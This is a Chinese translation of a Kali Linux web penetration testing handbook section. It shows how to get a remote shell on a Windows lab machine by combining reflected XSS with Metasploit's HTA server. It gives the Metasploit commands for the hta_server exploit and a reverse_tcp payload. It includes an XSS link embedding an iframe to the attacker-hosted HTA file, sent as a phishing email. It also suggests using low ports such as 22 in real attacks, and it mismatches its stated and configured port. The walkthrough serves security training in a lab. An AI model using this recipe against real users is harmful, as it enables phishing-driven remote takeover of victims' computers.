Kali Linux Web滲透測試手冊(第二版) – 5.8 – 使用XSS和Metasploit獲取遠程shell

  • 2019 年 10 月 6 日
  • 筆記

翻譯來自:掣雷小組 成員資訊:

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt

標記紅色的部分為今日更新內容。

第五章、使用跨站腳本攻擊客戶端

5.0、介紹

5.1、使用瀏覽器繞過客戶端控制

5.2、識別跨站腳本漏洞

5.3、利用XSS獲取Cookie

5.4、利用DOM XSS

5.5、利用BeEF執行xss攻擊

5.6、從Web存儲中提取資訊

5.7、使用ZAP測試WebSokets

5.8、使用XSS和Metasploit獲取遠程shell


5.8、使用XSS和Metasploit獲取遠程shell

在前幾章中,我們知道了攻擊者可以使用XSS提取用戶資訊憑證,然而,它的威力可不止於此,只要稍加一些社會工程學,攻擊者就可以使用XSS來欺騙用戶下載執行惡意文件,從而進一步控制主機和內網。

在本章節中,我們將學的使用XSS在目標電腦上遠程執行命令。

環境準備

1. vm_1漏洞系統BodgeIt;

2. Windows7虛擬機;

實戰演練

我們要做是用XSS使客戶端的Windows7的瀏覽器打開並執行託管在Kali Linux上的惡意HTA文件。

1. 打開Metasploit控制台:

msfconsole

2. 啟動後,使用以下命令載入exploit模組和payload:

use exploit/windows/misc/hta_server set payload windows/shell/reverse_tcp

3. 設置server的監聽埠為8880:

set srvport 8888

4. 設置本地監聽埠為12345:

set lport 12345 show options

5.現在我們運行exploit等待客戶端連接:

run

注意伺服器啟動時給出的資訊,Local IP給出了訪問HTA文件的方式。(就像是:k0Pjsl1tz2cI3Mm.hta)

6.現在切換到Windows虛擬機,打開IE瀏覽器

7.假設攻擊者發送了一封包含鏈接的釣魚電子郵件,

http://192.168.56.11/bodgeit/search.jsp?q=t<iframe src="http://192.168.56.10:8888/k0Pjsl1tz2cI3Mm.hta"></iframe>

給受害者,在IE中打開它

8.如果你的騙人的手段足夠高,就可以使得用戶接受不安全警告下載執行惡意文件:

9.當提示運行、保存或者取消時,選擇運行HTA文件

10.現在切換回Kali,你就可以在控制台中看到Metasploit已經成功收到來自客戶端的負載請求並且建立了Shell連接。

11.在我們這個例子中,Metasploit建立的會話在2上,我們可以使用Session命令查看詳細資訊

12.使用session -i 2命令,你就會跳入Windows命令窗口下。執行ipconfig命令來查看受害者的IP資訊

原理剖析

HTA是可以不受網頁瀏覽器安全模式的限制來執行程式,它是一種HTML應用程式。

我們剛才使用Metasploit生成惡意的HTA文件並開啟本地服務來託管它,我們的惡意文件包含一個 反向shell,反向shell是一個程式,當受害者執行它時,它將連接到攻擊者的伺服器,而不是在受害者中打開一個埠來等待連接傳入,這也就是為什麼它被稱為反向連接的原因。當連接完成時,一個遠程shell就建立好了。

在上面的例子中,我們使用8888作為伺服器的監聽埠,12345作為漏洞反向連接的監聽埠,然而在實際的應用場景中,我們應該使用較為低的埠,這樣可以較為安全,SSH的22埠就是個不錯的選擇。

Exit mobile version